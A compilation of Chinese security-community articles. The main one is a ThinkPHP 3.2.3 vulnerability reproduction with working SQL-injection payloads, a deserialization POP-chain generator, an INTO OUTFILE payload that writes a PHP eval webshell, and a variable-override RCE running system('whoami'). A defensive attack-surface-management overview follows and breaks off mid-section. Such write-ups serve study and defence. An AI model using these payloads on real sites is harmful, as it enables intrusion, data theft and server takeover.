在本地将流程成功走了一遍后，利用到项目网站上也很顺利，直接就getshell了，成功交差，又可以愉快的喝冰阔乐了。
## 总结
整个流程从网站获取到指纹，然后找到源码审计，在审计过程中还是花费了较多时间，主要在前台审计的入口点寻找，和绕过过滤注入出数据，当时一度认为没办法利用，还好当时没放弃，然后慢慢一步一步的啃，终于还是啃下来了。 | 社区文章 |
2017年1月1日，先知安全技术社区与嘶吼RoarTalk正式达成内容合作伙伴关系，双方今后将在资源、高质量内容共享等方面展开深度合作。
在内容上相互分享，资源上相互补充，平台上相互助力，技术上相互支撑。
共同推进互联网安全行业生态良性发展。
关于嘶吼RoarTalk
2017年1月1日，嘶吼RoarTalk(www.4hou.com)正式上线，用最纯粹的方式探寻最本质的信息安全。全媒体视角，传播最新鲜的动态资讯；权威的发声，云集圈内顶尖技术大牛；专业的态度，深度剖析最热门的技术话题；开放的平台，与全球顶尖发烧友互动沟通。嘶吼的出现将为信息安全领域带来更有力量的声音！希望我们的每一声嘶吼，都如雷贯耳；每一个步伐，都掷地有声！
关于先知安全技术社区
先知安全技术社区是云盾先知（安全情报）旗下产品，旨在为安全技术研究人员提供一个自由、开放、平等的交流平台。目前有漏洞研究、安全工具、黑产分析、先知众测、技术讨论等几大版块，内容涵盖渗透测试、代码审计、Web安全、移动安全、二进制安全、无线安全等多个领域。不管你是信息安全小白，还是资深大牛，先知技术社区的优质内容一定让你“满载而归”。 | 社区文章 |
# ThinkPHP 3.2.3 漏洞复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 $this->show 造成命令执行
在 `Home\Controller\IndexController` 下的index中传入了一个可控参数，跟进调试看一下。
class IndexController extends Controller
{
public function index($n='')
{
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>！</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script></p>Hello '.$n, 'utf-8');
}
}
跟进 `display()`
protected function show($content,$charset='',$contentType='',$prefix='') {
$this->view->display('',$charset,$contentType,$content,$prefix);
}
一路跟进到 `fetch()`，然后一路进入 `Hook::listen('view_parse', $params);`
public function fetch($templateFile='', $content='', $prefix='')
{
if (empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if (!is_file($templateFile)) {
E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}
} else {
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
} else {
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse', $params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter', $content);
// 输出模板文件
return $content;
}
关键地方在这，我们之前 `index`
里的内容被存入了缓存文件php文件中，连带着我们输入的可控的php代码也在其中，然后包含了该文件，所以造成了命令执行。
public function load($_filename,$vars=null){
if(!is_null($vars)){
extract($vars, EXTR_OVERWRITE);
}
include $_filename;
}
## 0x01 sql注入
`/Application/Home/Controller/IndexController.class.php`
添加一段SQL查询代码。`http://localhost/tp323/index.php/Home/Index/sql?id=1` 查询入口。
public function sql()
{
$id = I('GET.id');
$user = M('user');
$data = $user->find($id);
var_dump($data);
}
传入 `id=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--+` ，跟进调试。进入 `find()`
函数，先进行一段判断，传入的参数是否是数字或者字符串，满足条件的话 `$options['where']['id']=input`。
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
随后进行一个判断 `if (is_array($options) && (count($options) > 0) &&
is_array($pk))`，`getPk()`函数是查找mysql主键的函数，显然 `$pk` 值是 `id`，不满足条件
$pk = $this->getPk(); // $pk='id'
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
//
}
随后执行 `$options = $this->_parseOptions($options);` ，
protected function _parseOptions($options=array())
{
if (is_array($options)) {
$options = array_merge($this->options, $options);
}
if (!isset($options['table'])) {
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}
// 数据表别名
if (!empty($options['alias'])) {
$options['table'] .= ' '.$options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
if (!empty($this->options['strict'])) {
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}
先获取查询的表的字段和字段类型。
if (!isset($options['table'])) {
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
}
关键代码在于下面这个判断里，进入 `$this->_parseType($options['where'], $key)` 。
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
if (!empty($this->options['strict'])) {
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}
这里由于id字段的类型是 `int` ，所以进入第二个分支，将我们的输入转化为十进制，恶意语句就被过滤了，后面就是正常的SQL语句了。
protected function _parseType(&$data,$key) {
if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
$fieldType = strtolower($this->fields['_type'][$key]);
if(false !== strpos($fieldType,'enum')){
// 支持ENUM类型优先检测
}elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
$data[$key] = intval($data[$key]);
}elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
$data[$key] = floatval($data[$key]);
}elseif(false !== strpos($fieldType,'bool')){
$data[$key] = (bool)$data[$key];
}
}
}
如果我们传参是传入一个数组 `id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--+`
，在`find()` 函数的第一个判断就没有满足条件不会进入这个判断，此时 `$options` 就是 `$options[where]='1 and
updatexml(1,concat(0x7e,user(),0x7e),1)-- '`，而没有上面的键 `id`。
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
然后到下面的关键代码的判断 `if (isset($options['where']) && is_array($options['where']) &&
!empty($fields) && !isset($options['join']))` ，`is_array($options['where'])`
显然是false，因为此时 `$options['where']` 是一个字符串而不是数组，所以不会进入下面的判断，也就是说不会进入函数
`_parseType()` 对我们的输入进行过滤。
之后回到 `find()` 函数中进入 `$resultSet = $this->db->select($options);`，此时的 `$options`
就是我们输入的恶意SQL语句，显然注入成功。
## 0x02 反序列化 & sql注入
`/Application/Home/Controller/IndexController.class.php`
添加一段代码。`http://localhost/tp323/index.php/Home/Index/sql?data=` 查询入口。
public function sql()
{
unserialize(base64_decode($_POST['data']));
}
全局搜索 `function __destruct`，找一个起点。
在文件：`/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php` 中找到了 `Imagick` 类的
`__destruct` 方法。
public function __destruct() {
empty($this->img) || $this->img->destroy();
}
这里 `$this->img` 是可控的，所以我们接着找一下 `destroy()` 函数。共有三个，选择了
`ThinkPHP/Library/Think/Session/Driver/Memcache.class.php` 中的 `Memcache` 类的
`destroy` 函数。这里有个坑，由于上面调用 `destroy()`
函数时没有参数传入，而我们找到的是有参数的，PHP7下起的ThinkPHP在调用有参函数却没有传入参数的情况下会报错，所以我们要选用PHP5而不选用PHP7.
public function destroy($sessID) {
return $this->handle->delete($this->sessionName.$sessID);
}
这里`handle` 可控，那么就接着找 `delete` 函数。在 `ThinkPHP/Mode/Lite/Model.class.php` 的
`Model` 类中找到了合适的函数，当然选用 `/ThinkPHP/Library/Think/Model.class.php`
中的该函数也是可以的。我们的目的就是进入 `$this->delete($this->data[$pk])`。所以这里只截取了前面部分的代码。
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
}
我们想要调用这个if中的 `delete` ，就要使得我们传入的 `$options` 为空，且 `$this->options['where']`
为空，是可控的，所以走到第二个if，`$this->data` 不为空，且 `$this->data[$pk]` 存在，满足条件就可以调用
`delete($this->data[$pk])` 了。而 `$pk` 就是 `$this->pk` ，都是可控的。
之前因为 `destroy()` 调用时没有参数，使得调用 `delete` 函数参数部分可控，而现在我们正常带着参数进入了 `delete`
函数，就可以接着往下走了。直到运行至 `$result =
$this->db->delete($options);`，调用了ThinkPHP数据库模型类中的 `delete()` 方法。
这里的 `$table` 是取自传入的参数，可控，直接拼接到 `$sql` 中，然后传入了 `$this->execute`。
public function delete($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
if(strpos($table,',')){// 多表删除支持USING和JOIN操作
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
接着调用 `$this->initConnect(true);`，随后是 `$this->connect()` ，这里是用 `$this->config`
来初始化数据库的，然后去执行先前拼接好的SQL语句。
<?php
public function connect($config='',$linkNum=0,$autoConnection=false) {
if ( !isset($this->linkID[$linkNum]) ) {
if(empty($config)) $config = $this->config;
try{
if(empty($config['dsn'])) {
$config['dsn'] = $this->parseDsn($config);
}
if(version_compare(PHP_VERSION,'5.3.6','<=')){
// 禁用模拟预处理语句
$this->options[PDO::ATTR_EMULATE_PREPARES] = false;
}
$this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);
}catch (\PDOException $e) {
if($autoConnection){
trace($e->getMessage(),'','ERR');
return $this->connect($autoConnection,$linkNum);
}elseif($config['debug']){
E($e->getMessage());
}
}
}
return $this->linkID[$linkNum];
}
所以POP链就出来了：
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache
{
protected $handle;
public function __construct()
{
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model
{
protected $options;
protected $data;
protected $pk;
protected $db;
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->data['id'] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
$this->pk = 'id';
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql
{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"debug" => 1,
"database" => "test",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
## 0x03 注释注入
触发注释注入的调用为：`$user = M('user')->comment($id)->find(intval($id));`。
调试跟进一下，调用的是 `Think\Model.class.php` 中的 `comment`
/**
* 查询注释
* @access public
* @param string $comment 注释
* @return Model
*/
public function comment($comment)
{
$this->options['comment'] = $comment;
return $this;
}
之后调用 `Think\Model` 的find方法。一直到调用了 `Think\Db\Driver.class.php` 中的
`parseComment` 函数，将我们输入的内容拼接在了注释中，于是我们可以将注释符闭合，然后插入SQL语句。此时的SQL语句为 `"SELECT *
FROM`user`WHERE`id`= 1 LIMIT 1 /* 1 */"`
protected function parseComment($comment) {
return !empty($comment)? ' /* '.$comment.' */':'';
}
如果这里没有 `LIMIT 1` 的话我们可以直接进行union注入，但是这里有 `LIMIT 1` ，进行union注入会提示 `Incorrect
usage of UNION and LIMIT`，只有同时把union前的SQL查询语句用括号包起来才可以进行查询，但是显然我们无法做到，那么我们可以利用
`into outfile` 的拓展来进行写文件。
"OPTION"参数为可选参数选项，其可能的取值有：
`FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`：设置字符来括住字段的值，只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`：设置转义字符，只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`：设置每行数据开头的字符，可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\n”。
`?id=1*/ into outfile "path/1.php" LINES STARTING BY '<?php
eval($_POST[1]);?>'/*` 就可以进行写马了。
## 0x04 exp注入
触发exp注入的查询语句如下。
public function sql()
{
$User = D('user');
var_dump($_GET['id']);
$map = array('id' => $_GET['id']);
// $map = array('id' => I('id'));
$user = $User->where($map)->find();
var_dump($user);
}
这里一路跟进到 `parseSql()` 函数，然后调用到 `parseWhere()` 。
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
`parseWhere()` 调用了 `parseWhereItem()` ，截取了部分关键代码，这里的 `$val`
就是我们传入的参数，所以当我们传入数组时，`$exp` 就是数组的第一个值，如果等于exp，就会使用.直接将数组的第二个值拼接上去，就会造成SQL注入。
$exp = strtolower($val[0]);
......
elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}
也就是说当我们传入 `?id[0]=exp&id[1]== 1 and updatexml(1,concat(0x7e,user(),0x7e),1)`
时，拼接后的字符串就是 `"`id` = 1 and
updatexml(1,concat(0x7e,user(),0x7e),1)"`，最后的SQL语句也就成了 `"SELECT * FROM `user`
WHERE `id` =1 and updatexml(1,concat(0x7e,user(),0x7e),1) LIMIT 1
"`，可以进行报错注入了。
这里使用了全局数组 `$_GET` 来传参，而不是tp自带的 `I()` 函数，是因为在 `I()` 函数的最后有这么一句代码，
is_array($data) && array_walk_recursive($data,'think_filter');
调用了 `think_filter()` 函数来进行过滤，刚好就过滤了 `EXP` ，在后面加上了一个空格，那么自然也就无法进行上面的流程，不能进行注入了。
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
## 0x05 bind注入
public function sql()
{
$User = M("user");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
payload:`?id[0]=bind&id[1]=0 and
updatexml(1,concat(0x7e,user(),0x7e),1)&password=1`
这里一路执行到上面的 `parseWhereItem()`
处，除了exp外，还有一处bind，这里同样也是用点拼接字符串，但是不同的是这里还拼接了一个冒号。也就是说拼接之后是 `"`id` = :0 and
updatexml(1,concat(0x7e,user(),0x7e),1)"` 这样的。
$exp = strtolower($val[0]);
......
elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}
拼接到SQL语句后是 `"UPDATE `user` SET `password`=:0 WHERE `id` = :0 and
updatexml(1,concat(0x7e,user(),0x7e),1)"`。
随后在 `update()` 中调用了 `execute()` 函数，执行了如下代码
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
}
这里就将 `:0` 替换为了我们传入的password的值，SQL语句也就变为了 `"UPDATE `user` SET `password`='1'
WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)"`，所以我们在传参的时候
`id[1]` 最开始的字符传入的是0，才能去除掉冒号。最后SQL注入成功。
## 0x06 变量覆盖导致命令执行
触发rce的代码如下。
public function test($name='', $from='ctfshow')
{
$this->assign($name, $from);
$this->display('index');
}
先调用 `assign()` 函数。
public function assign($name, $value='')
{
if (is_array($name)) {
$this->tVar = array_merge($this->tVar, $name);
} else {
$this->tVar[$name] = $value;
}
}
当我们传入 `?name=_content&from=<?php system("whoami")?>` 时经过 `assign()`
函数后就有：`$this->view->tVar["_content"]="<?php system("whoami")?>"`
`display()` 函数跟进，`$content` 获取模板内容。
public function display($templateFile='', $charset='', $contentType='', $content='', $prefix='')
{
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin', $templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile, $content, $prefix);
// 输出模板内容
$this->render($content, $charset, $contentType);
// 视图结束标签
Hook::listen('view_end');
}
这里调用了 `fetch()` 函数，有一个if判断，如果使用了PHP原生模板就进入这个判断，这个就对应的是
`ThinkPHP\Conf\convention.php` 中的 `'TMPL_ENGINE_TYPE' => 'php',`。
public function fetch($templateFile='', $content='', $prefix='')
{
if (empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if (!is_file($templateFile)) {
E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}
} else {
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
} else {
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse', $params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter', $content);
// 输出模板文件
return $content;
}
这里进入判断后，执行了 `extract($this->tVar, EXTR_OVERWRITE);` ，而通过前面的分析得知我们已有
`$this->view->tVar["_content"]="<?php system("whoami")?>"` ，因此这里就存在变量覆盖，将
`$_content` 覆盖为了我们输入的要执行的命令。
随后执行 `empty($_content)?include $templateFile:eval('?>'.$_content);` ，此时的
`$_content` 显然不为空，所以会执行 `eval('?>'.$_content);` ，也就造成了命令执行。
## 参考文献
[thinkphp3.2.3 sql注入分析](https://darkless.cn/2020/06/07/thinkphp3.2.3-sqli/
"thinkphp3.2.3 sql注入分析")
[ThinkPHP v3.2.* （SQL注入&文件读取）反序列化POP链](https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA?fileGuid=YQ6W8dWWxRpgCVkt "ThinkPHP v3.2.*
（SQL注入&文件读取）反序列化POP链")
[ Ctfshow web入门
thinkphp专题](https://blog.csdn.net/rfrder/article/details/116095677 " Ctfshow
web入门 thinkphp专题")
[ thinkphp3.2.3
SQL注入漏洞复现](https://blog.csdn.net/rfrder/article/details/114024426 "
thinkphp3.2.3 SQL注入漏洞复现")
[Thinkphp3 漏洞总结](https://y4er.com/post/thinkphp3-vuln/ "Thinkphp3 漏洞总结") | 社区文章 |
# 攻击面管理（ASM）技术详解和实现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
攻击面管理（Attack Surface
Management）的概念已经出现三年以上，但是在过去的2021年，整个安全行业突然迅速接纳了它。一方面，这表示行业对实战型攻防技术的认知有了快速提升，另一方面，这意味着攻击面管理（ASM）技术理念是符合当前场景化刚需的。
## 一、什么是攻击面管理
首先，从理论层面对攻击面管理进行说明。Gartner在《Hype Cycle for Security
Operations，2021》中共有5个相关技术点：外部攻击面管理（EASM）、网络资产攻击面管理（CAASM）、数字风险保护服务（DRPS）、漏洞评估（VA）、弱点/漏洞优先级技术（VPT）。
这是一个神奇的事情，为什么攻击面管理会涉及到这么多技术领域？以Gartner推荐厂商Cyberint和RiskIQ为例，他们都强调了一件重要的事：
**获得攻击者的视角。** 现代化网络攻击的最大特点之一就是基于大量数据的立体化攻击。
_对于功能堆叠的刚性防御体系来说，立体化攻击就如同降维打击的存在。所以需要获得攻击者的视角，进行动态的主动防御。_
_这就是攻击面管理诞生的初衷。_
继《2021安全运营技术成熟度曲线》之后，Gartner又在《新兴技术：外部攻击面管理关键洞察》中进行了一系列详细的描述：
1. **资产的识别及清点：** 识别未知的（影子）数字资产（如网站、IP、域名、SSL证书和云服务），并实时维护资产列表；
2. **漏洞修复及暴露面管控：** 将错误配置、开放端口和未修复漏洞根据紧急程度、严重性来进行风险等级分析以确定优先级；
3. **云安全与治理：** 识别组织的公共资产，跨云供应商，以改善云安全和治理，EASM可以提供全面的云资产清单，补充现有的云安全工具；
4. **数据泄漏检测：** 监测数据泄漏情况，如凭证泄漏或敏感数据；
5. **子公司风险评估：** 进行公司数字资产可视化能力建设，以便更全面地了解和评估风险；
6. **供应链/第三方风险评估：** 评估组织的供应链和第三方有关的脆弱性及可见性，以支持评估组织的暴露风险；
7. **并购（M &A）风险评估：**了解待并购公司数字资产和相关风险。
网络资产攻击面管理（CAASM）则倾向于以智能化的手段更高效地识别组织内部的资产和漏洞。CAASM是一种新兴的技术，专注于使安全团队能够解决持久的资产可见性和漏洞的挑战。它使组织能够通过API与现有工具的集成、对合并后的数据进行查询、识别安全控制中的漏洞和差距的范围，以及修复问题，来查看所有资产（包括内部和外部）的风险。（以上是Gartner的定义，从笔者的角度来看，这更像是一个更强大的、进行智能化拓展后的漏洞管理系统，也许未来漏洞管理系统的功能模型就将是CAASM。）
需要特别指出的地方是，Gartner认为“攻击面管理能力可跨越到其他现有的安全领域，主要是数字风险保护服务（DRPS）”。甚至在2021年10月25日其发布的《Competitive
Landscape: Digital Risk Protection Services》中预言：
_到2023年底，超过50%的DRPS供应商将增加EASM功能，作为其数字足迹功能的自然扩展。_
由于国内某些概念的误导，DRPS的技术纲要并没有正确的被传达，为了更有效的说明ASM应该包含的技术点，有必要对它进行技术点说明。
_Gartner：通过提供技术与服务，保护组织的关键数字资产和数据免受外部威胁。这些解决方案提供了对开放（表面）网络、社交媒体、暗网和深网的可视性，以识别关键资产的潜在威胁，并提供有关威胁参与者、其进行恶意活动的策略和流程的背景信息。_
识别暴露的有风险的数字资产，具体包含：
1. 组织的数字足迹（云存储服务、打开的端口和未修补过的漏洞等）；
2. 品牌保护（域名抢注和冒充高管等）；
3. 组织的账户接管风险（电子凭证、组织的账户信息被盗等）；
4. 诈骗活动（网络钓鱼检测、信用卡泄露、客户资料泄露等）；
5. 泄露数据（具有知识产权的数据、资料、代码等）。
至此，可以看出，ASM（攻击面管理）包含EASM（外部攻击面管理）和CAASM（网络资产攻击面管理），EASM与DRPS（数字风险保护服务）有拓展和重叠之处，它们都需要VA（漏洞评估）和VPT（弱点/漏洞优先级技术）的功能和技术支持。
## 二、攻击面管理产品的实现
以上虽然对攻击面管理进行了理论构架和其构成要素分析，但作为产品实现仍然过于抽象。接下来以产品设计的角度来分析攻击面管理应该具备的功能模型。
首先需要明确的是，一个完整的攻击面管理产品，其产品形态应该是：
**云端数据+私有化部署**
攻击面管理产品应具备以下功能：
**1.攻击面管理（ASM）功能组**
1. 网络空间测绘（CAM）
网络空间测绘技术诞生已有10年历史，技术成熟，这里不再进行详细说明，需要说明的是，它必须从全互联网角度进行测绘，以保证不会遗漏组织的外部IT资产和影子资产。
1. 组织架构和关联组织的识别
为了保证组织对应IT资产的全面和准确（尤其是对于影子资产），以及为子公司和有关联（M&A）的企业进行评估，必须优先进行组织架构的识别和映射。
1. 数字足迹的映射
这个概念很好理解，就是要将相关组织、子公司、关联组织等与IT资产进行映射。但是从实践的角度出发，传统的网络空间测绘的引擎设计逻辑需要进行调整，以目前先进行盲测再使用关键字识别、icon识别和标签等方法，很难做到全面和准确的映射。
1. 供应链的识别和风险暴露面
供应链攻击在最近一年对全球造成了很大影响，需要对组织使用的产品、第三方组件，供应商进行尽可能的探测、识别和风险暴露面的发现。
**2.威胁情报（TI）功能组**
这里提到的威胁情报，并非狭义上定义的“僵木蠕威胁情报”，而是更广义的，会对业务和数据造成直接影响的情报源的探测和主动情报收集。随着《数据安全法》和《个人信息保护法》的颁布和执行，该部分既涉及到组织自身的业务影响，也涉及到合法合规问题，所以本章仅列出内容，在下述章节详细讨论。这里特别说明的是，该部分必须包含
**“对暗网的可视性”** 。
1. 业务数据和数字资产泄露情报
2. 隐私数据泄露和内部人员数据泄露情报
**3.漏洞优先级技术（VPT）功能组**
漏洞优先级技术（VPT）至少应该包含4个主要功能和一些辅助功能，具体包括：
1. 全面、快速的资产发现能力
2. 多类型扫描器调度和多维度漏洞评估
3. 漏洞情报和智能优先级排序
4. 漏洞全生命周期管理流程和自动编排
基于以上功能说明，对攻击面管理产品的定位和功能模型就很清晰了，其可以描述为：
_攻击面管理系统（产品）：_
_将组织与其不断发展的外部和内部IT系统及数字足迹进行映射、与漏洞情报数据进行关联，并持续发现业务数据和代码泄露、组织和人员信息的泄露、以及对供应链的攻击面进行检测，通过对全球开放网络和非公开网络的情报源、组织自身业务上下文等进行大量数据采集和弱点优先级分析，为组织输出攻击面情报，以提供给组织更高级别的主动防御。_
## 三、业务数据泄露与数字资产泄露
该部分将阐述组织业务数据泄露、内部文件或与组织相关的文档和文案在外部暴露、组织相关的业务系统和软件的代码和配置泄露等情况下，对组织带来的风险、以及应该如何发现和如何进行智能优先级排序建议。
**1\. 风险**
组织的业务数据、内部文件、项目信息、财务数据、核心图纸、软件代码、业务系统配置等等，有可能因为内部人员的工作习惯（例如将文件上传到某些互联网服务器或者网盘上），也有可能因为开发人员的误操作（例如Github权限设置不当），或者被恶意窃取（例如黑客通过技术手段获得、或者某些未授权人员通过其他违规手段获得）等，传播在互联网或者暗网上。这可能导致组织内部机密外泄，或者导致黑客利用获取的代码和配置文件获知业务系统漏洞等。
**其带来的风险通常是直接且隐蔽的。**
以往，由于网络攻击导致的安全事件，从数据泄露到组织发现的间隔时间，平均在87天，而由于人员误操作导致的安全事件的时间间隔，平均在207天。在此期间，组织相关的泄露数据都面临着极高的被他人利用的风险，越早发现，风险暴露窗口越短，风险才会大幅度降低。
**2\. 发现**
进行业务数据泄露和数字资产泄露情报的获取，应该遵循3个方法：
1) 数据必须进行组织的映射，并且由组织向关键信息进行辐射。
具体来说，应该由组织名称拓展到子组织和相关组织，然后对各级组织相关业务、系统、数据、产品、项目等进行智能关键信息获取。
2) 尽可能覆盖全面的公开威胁源。
数据泄露的重要泄露源就是公开网络上的威胁源，其可能包含来自天眼查、企查查、Gitlib、Github、CSDN、百度网盘、百度文库、微博等等，对各个威胁源、社交媒体、云存储的覆盖面越广，查找到的数据越多，才能越全面地发现风险。
3) 具备非公开网络的可视性
非公开网络主要是深网和暗网，数据泄露的重要传播源是暗网交易市场，其特点是数量庞大、活跃度差异大、获取方式隐秘、交易完全匿名等，对其进行实时更新与监控的难度较大，但极其重要。
**3\. 优先级排序**
